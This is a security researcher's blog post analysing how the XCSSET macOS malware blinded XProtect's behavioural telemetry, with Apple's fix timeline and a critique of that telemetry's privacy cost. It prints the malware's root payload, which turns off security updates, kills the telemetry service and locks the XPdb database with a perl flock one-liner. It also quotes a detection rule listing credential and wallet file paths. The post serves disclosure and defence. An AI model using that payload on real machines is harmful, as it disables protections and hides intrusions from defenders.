XProtect behavioral flop

On reading the latest Security Advisories for macOS, a few friends noticed I recently went through a career change:

Sandbox
We would like to acknowledge Arnaud Abbati for their assistance.

And, for once I can share what I do, I am certainly not going to miss the opportunity!

Threat or Thread

As far as I remember, I always kept an eye wide open on live threats to monitor their evolutions. Once I’d figure out the delivery method, I’d automate the downloading of new variants and receive notifications about notable changes.

I first came across the malware publicly known as XCSSET on the weekend before WWDC20. It all started with a simple VirusTotal Livehunt rule looking for Shell Compiler (SHC) Mach-O files:

vt analysis f-d11a549e6bc913c78673f4e142e577f372311404766be8a3153792de9f00f6c1-1592592329
- _id: "f-d11a549e6bc913c78673f4e142e577f372311404766be8a3153792de9f00f6c1-1592592329"
  _type: "analysis"
  date: 1592592329  # 2020-06-19 20:45:29 +0200 CEST
  results: (…)
  stats:
    confirmed-timeout: 0
    failure: 1
    harmless: 0
    malicious: 1
    suspicious: 0
    timeout: 0
    type-unsupported: 13
    undetected: 61
  status: "completed"

At the time of the upload, a warm summer breath was floating in the air, the grass was ready to broadcast its biweekly distress signal out loud: nobody told the garden I just found a new thread to pull on!

A few years later, the malware eventually appeared and vanished a couple of times and, as I was enjoying a beautiful sunny fall with beloved friends around New York for the first time, I noticed XCSSET happened to be back: a typo away in my GitHub saved searches!

The first public indicator of the malware is on January 17, 2020, in Ukraine. With such a long history come many surprises.

What The Flock?

On September 23, 2025, something “interesting” showed up in the root_payload of the privilege escalation and persistence module settings_app:

root_tasks() {

    /usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist ConfigDataInstall -bool false
    /usr/bin/defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist AllowRapidSecurityResponses -bool false

    kill_processes() {
      while true; do
        pgrep -fi 'CloudTelemetryService' | xargs -r -I {} sh -c 'kill -9 {} && echo "killed PID {}"'
        sleep 1
      done
    }

    kill_processes &

    perl -e 'open my $fh, "<", "/var/protected/xprotect/XPdb" or die $!; flock($fh, 2) or die $!; while (1) { sleep 60; }' &

    echo "I am a root task $(whoami)"

}

TL;DR: get root and set an exclusive lock on the /var/protected/xprotect/XPdb file, for some time, in an infinite loop.

XProtectPayloads

XProtect app, i.e. XProtectPayloads, is the replacement for Malware Removal Tool (MRT). Instead of running at system startups and user logins, background activities are periodically scheduled with the Utility priority. You can read about Centralized Task Scheduling (CTS) and Duet Activity Scheduler (DAS) on Dr. Howard Oakley’s blog.

XProtect app is periodically scheduled to run “remediators”, according to the Priority specified in their (__TEXT,__info_plist) section:

  • High: every 6 hours
  • Standard: daily
  • Low: weekly

I highly recommend the extensive research by Koh M. Nakagawa from FFRI Security, Inc to get familiar with XProtectPayloads capabilities:

Bastion

XProtect app resources include libXProtectPayloads.dylib, which interacts with the XPdb SQLite3 database.

After due checks, the library is dynamically linked by XProtectBridgeService to interact with the private framework XprotectFramework (packed in the dyld_shared_cache).

The sandbox profile bastion.sb is located in XProtect app resources too. Long story short, it gets loaded by libsystem_sandbox.dylib (also packed in the dyld_shared_cache) and contains a list of sandbox rules.

Sandbox rule violations are recorded as behavior events in the local XPdb database for a month. Matching rule names are located in BastionMeta.plist.

For example, here’s the macOS.InfoStealer.Generic rule:

(with-filter
  (require-not rule-twelve-offenders)
    (allow (with user-approval "BastionRule-12") file-read-data
      (require-any
        (subpath "${ANY_USER_HOME}/Library/Containers/com.apple.Notes/Data/Library/Notes/")
        (literal "${ANY_USER_HOME}/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite")
        (literal "${ANY_USER_HOME}/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies")
        (require-all
          (require-any
            (prefix "${ANY_USER_HOME}/Library/Application Support/Google/Chrome")
            (prefix "${ANY_USER_HOME}/Library/Application Support/BraveSoftware/Brave-Browser")
            (prefix "${ANY_USER_HOME}/Library/Application Support/Microsoft Edge")
            (prefix "${ANY_USER_HOME}/Library/Application Support/com.operasoftware.Opera")
            (subpath "${ANY_USER_HOME}/Library/Application Support/Vivaldi/")
            (subpath "${ANY_USER_HOME}/Library/Application Support/Arc/"))
          (regex #"/(Cookies$|(Login|Web) Data$|Local Storage/|(Local|Sync) Extension Settings/|IndexedDB/)"))
        (require-all
          (subpath "${ANY_USER_HOME}/Library/Application Support/Firefox/Profiles/")
          (regex #"/(cookies\.sqlite|formhistory\.sqlite|key4\.db|logins\.json)$"))
        (require-all
          (prefix "${ANY_USER_HOME}/.electrum")
          (regex #"/wallets"))
        (subpath "${ANY_USER_HOME}/Library/Application Support/Coinomi/wallets/")
        (prefix "${ANY_USER_HOME}/Library/Application Support/Exodus/exodus.")
        (subpath "${ANY_USER_HOME}/Library/Application Support/atomic/Local Storage/leveldb/")
        (literal "${ANY_USER_HOME}/Library/Application Support/Binance/app-store.json")
        (literal "${ANY_USER_HOME}/.config/filezilla/recentservers.xml")
        (subpath "${ANY_USER_HOME}/Library/Application Support/Steam/config/")
        (subpath "${ANY_USER_HOME}/Library/Application Support/discord/Local Storage/leveldb/"))))

Note the familiar targets: notes, browser cookies and credential stores, crypto wallets, etc..

If you care about sandbox policies, I recommend you notably take a look at:

The BehaviorEvent class is defined along with the whole XPPluginAPI in libXProtectPayloads.dylib. Blacktop’s ipsw became my go-to tool for reversing interfaces:

ipsw swift-dump --demangle --color --arch arm64 --type "Analytics|Behavior|Metadata" \
    "/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/Resources/libXProtectPayloads.dylib"
class XPPluginAPI.XPProcessMetadata: NSObject {
    var executableURL: (private)
    var cdhash: String
    var signingID: String
    var teamID: String
    var sha256Hash: String
    var notarized: Swift.Bool

    static func XPProcessMetadata(withURL:withCdhash:withSigningID:withTeamID:withSha:withNotarization:)
}

class XPPluginAPI.BehaviorEvent: NSObject {
    var rule: String
    var timestamp: (private)
    var profileHash: (private)
    var offenderProcess: XPPluginAPI.XPProcessMetadata
    var responsibleProcess: XPPluginAPI.XPProcessMetadata

    static func BehaviorEvent(withRule:withTime:withProfile:withOffender:withResponsible:)
    func BehaviorEvent.report()
}

class XPPluginAPI.XPEventCoreAnalytics {
    var eventName: String
    var logger: XPPluginAPI.XPLogger
    var structuredLogger: XPPluginAPI.XPStructuredLogger
    var creationDate: (private)
    var sentDate: (private) ?
    var eventPayload: [String : NSObject]
}

The BehaviorEvent class is bridged to Objective-C for interoperability with XprotectFramework:

ipsw class-dump --demangle --arch arm64 --class BehaviorEvent \
    "/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/Resources/libXProtectPayloads.dylib"
@interface BehaviorEvent : NSObject { // (Swift)
    com.apple.XProtectFramework.PluginAPI rule;
    com.apple.XProtectFramework.PluginAPI timestamp;
    com.apple.XProtectFramework.PluginAPI profileHash;
    com.apple.XProtectFramework.PluginAPI offenderProcess;
    com.apple.XProtectFramework.PluginAPI responsibleProcess;
}

@property (nonatomic, readonly) NSString *description;

- (id)initWithRule:(id)rule withTime:(id)time withProfile:(unsigned long long)profile withOffender:(id)offender withResponsible:(id)responsible;
- (void)report;

@end

The Bug

With system administrator privileges (root) and an exclusive file lock—flock(2) with the LOCK_EX parameter—no process could query, or commit to, the database file.

With a clever one-liner trick, behavior events could neither be recorded nor uploaded. Threat Intelligence analysts’ ability to observe potential malware violations on compromised systems went dark.

No CVE was assigned as the bug didn’t bypass active protections.

Timeline

The bug was found in the wild and reported to Apple on September 23, 2025.

Tahoe 26.1

The first beta of the first bugfix release of the new major OS reached the developer audience on September 22, 2025.

It is reasonable to assume the roadmap was already bouncing at zero bugs when Product Security team escalated the report, and the bug doesn’t break a security boundary—access to XPdb requires root—so it’s no P1 candidate.

On November 3, 2025, macOS Tahoe 26.1 (25B78) went live.

XProtectPayloads-156

On November 4, 2025, XProtectPayloads-156 went live via Software Update with part number 089-06171-A:

<key>089-06171</key>
<dict>
    <key>ServerMetadataURL</key>
    <string>https://swcdn.apple.com/content/downloads/35/55/089-06171-A_N5S2I3LOXI/6s53t5slnxujte5yfx3i85an7g86sxmrxj/XProtectPayloads_10_15.smd</string>
    <key>Packages</key>
    <array>
        <dict>
            <key>Digest</key>
            <string>6d27c36c6d73886c0672e38b902b9fc2f12d0008</string>
            <key>Size</key>
            <integer>24160684</integer>
            <key>MetadataURL</key>
            <string>https://swdist.apple.com/content/downloads/35/55/089-06171-A_N5S2I3LOXI/6s53t5slnxujte5yfx3i85an7g86sxmrxj/XProtectPayloads_10_15.pkm</string>
            <key>URL</key>
            <string>https://swcdn.apple.com/content/downloads/35/55/089-06171-A_N5S2I3LOXI/6s53t5slnxujte5yfx3i85an7g86sxmrxj/XProtectPayloads_10_15.pkg</string>
        </dict>
    </array>
    <key>PostDate</key>
    <date>2025-11-04T18:31:19Z</date>
    <key>Distributions</key>
    <dict>
        <key>English</key>
        <string>https://swdist.apple.com/content/downloads/35/55/089-06171-A_N5S2I3LOXI/6s53t5slnxujte5yfx3i85an7g86sxmrxj/089-06171.English.dist</string>
    </dict>
</dict>

It is the current update of XProtectPayloads at the time of this writing.

In this release, the XPdb file moved down a level from /var/protected/xprotect/ to the db subfolder. At that point, root could still flock(2) the /var/protected/xprotect/db/XPdb database file.

Tahoe 26.2 beta 2

On November 12, 2025, the second part of the fix reached developer audience in macOS 26.2 seed 2 (25C5037j).

The path /var/protected/xprotect/db/ became a Data Vault protected location: accessing the folder requires the com.apple.private.security.storage.xprotectdb entitlement shared by XProtectPluginService, XProtect app main executable, and remediation plugins.

Fix by Obscurity

Before the fix, users could stare at the (way too many) events uploaded to Apple:

sudo sqlite3 /System/Volumes/Data/private/var/protected/xprotect/db/XPdb 'SELECT * FROM events;' -json

With kernel protection, any process trying to access behavior events without the private entitlement gets an error:

Error: unable to open database "/System/Volumes/Data/private/var/protected/xprotect/db/XPdb": authorization denied
Unable to parse input: "Unexpected EOF"

Tahoe 26.2

On December 12, 2025, macOS Tahoe 26.2 (25C56) reached General Availability. The fix was also backported to macOS Sequoia 15.7.3 (24G419) and macOS Sonoma 14.8.3 (23J220) in aligned security updates:

The Metrics You Never Needed

Now, let’s talk about what this database actually contains. Here’s the kicker: behavior events are recorded once per process since startup. The database doesn’t log repeated activities; it logs the first unique fingerprints since boot.

I only restart my Mac a handful of times between updates. Over a 28-day period, XPdb recorded more than 3,000 unique events. Each event contains forensically detailed telemetry: executable and responsible executable paths, SHA256 hashes, CDhashes, signing identifiers, team identifiers, notarization status, and timestamps.

More than half of those events? Clipboard access. Ironic, for a company that popularized ⌘X, ⌘C and ⌘V. The rest is a mix of standard outgoing network connections, keychain queries, browser activities, temporary directory execution—none of which were really suspicious.

That’s 250+ unique apps from 100 different developer teams flagged. The roster reads like a who’s who of legitimate macOS software: Little Snitch, iStat Menus, LaunchBar, 1Password, Default Folder X, Moom, and even Google’s Santa security tool—an approved Endpoint Security extension.

Among the flagged binaries are Apple’s own Finder, Spotlight, Safari, Xcode, Photos, Numbers, Keynote, TestFlight, Remote Desktop, and dozens more. When your security software flags your platform binaries, one might wonder who’s watching the watchers.

Scale This Worldwide

Now extrapolate this to Apple’s installed base of over 100 million Macs. Every Mac has a different software footprint. Every software update changes the SHA256 hash and generates a new event. Much of this data is redundant with existing Gatekeeper assessments. And the telemetry still flows: disabling it in Privacy Settings doesn’t matter when there is a SIP-protected feature flag and a direct upload path anyway.

What about developers or security researchers with custom tooling? Their project builds light up like Christmas trees in this system.

Across the global fleet, we’re talking about a comprehensive catalogue of every unique executable that ever triggered a Bastion rule on every Mac, complete with cryptographic identifiers, developer attribution, and timestamps—from systems with opted-out telemetry.

Now consider the infrastructure behind this. Storing billions of events involves significant data center capacity. Querying that dataset to deduplicate, filter the noise, and extract potential anomalies burn compute cycles at scale. The electricity, the cooling, and the hardware—all to process a dataset where the signal-to-noise ratio is inverted by design.

The ecological footprint of legitimate clipboard accesses on the planet is not zero.

The Best Metrics Are the Ones You Don’t Collect

There’s a principle in privacy engineering: collect only what you need, when you need it, and delete it as soon as you don’t.

When your threat detection system flags Finder for “suspicious Messages access” and Little Snitch for “Keychain exfiltration”, you haven’t built a security tool but a cataloguing system where virtually every application is suspicious by default. The signal-to-noise ratio isn’t low: it’s inverted.

Before the fix, the XPdb database sat accessible with root privileges. Malware found it and bypassed it. In doing so, XCSSET escaped what Apple calls their “behavioral telemetry and discovery pipeline”. Even now, XCSSET can still kill CloudTelemetryService.

That behavioral detection is no better than post-mortem signature-based detection. We don’t need to fingerprint every notarized or App Store-approved network utility that makes an outbound connection. We don’t need a cryptographic registry of every clipboard-aware application. We need anomalies, not inventories.

Apple’s response is to block access. My usage data now becomes Apple’s data, protected at the kernel level, inaccessible to me!

Nobody cared whether the vault should contain this much in the first place. The best metrics are the ones you never upload.

One More Thing 🖐🎤

A closer look at bastion.sb reveals some gems. Apple maintains exclusion lists for their own binaries—bastion-usual-offenders, rule-one-offenders, and so on—to avoid flagging themselves. They clearly know the noise problem exists. But the real treasure is in the bastion-common-system-binary filter:

defaults read /Library/Apple/System/Library/CoreServices/XProtect.app/Contents/Info.plist CFBundleShortVersionString
156  # XProtectPayloads-156 went live on November 4, 2025

rg --before-context 13 --after-context 1 --no-line-number "ccom\.apple" \
    "/Library/Apple/System/Library/CoreServices/XProtect.app/Contents/Resources/bastion.sb"
(define bastion-common-system-binary
  (require-all
    (process-attribute is-platform-binary)
    (require-not
      (require-any
          (signing-identifier "com.apple.osascript")
          (signing-identifier "com.apple.zsh")
          (signing-identifier "com.apple.bash")
          (signing-identifier "com.apple.sh")
          (signing-identifier "com.apple.ksh")
          (signing-identifier "com.apple.osacompile")
          (signing-identifier "com.apple.python2")
          (signing-identifier "python3")
          (signing-identifier "ccom.apple.pbcopy")
          (signing-identifier "ccom.apple.pbpaste")
          (signing-identifier "ccom.apple.cat")
          (signing-identifier "ccom.apple.curl")
          (signing-identifier "ccom.apple.dd")
          (signing-identifier "ccom.apple.cp")
          (signing-identifier "com.apple.perl")))))

That ccom.apple instead of com.apple typo in security software engineer, reviewed, production code is GOLD!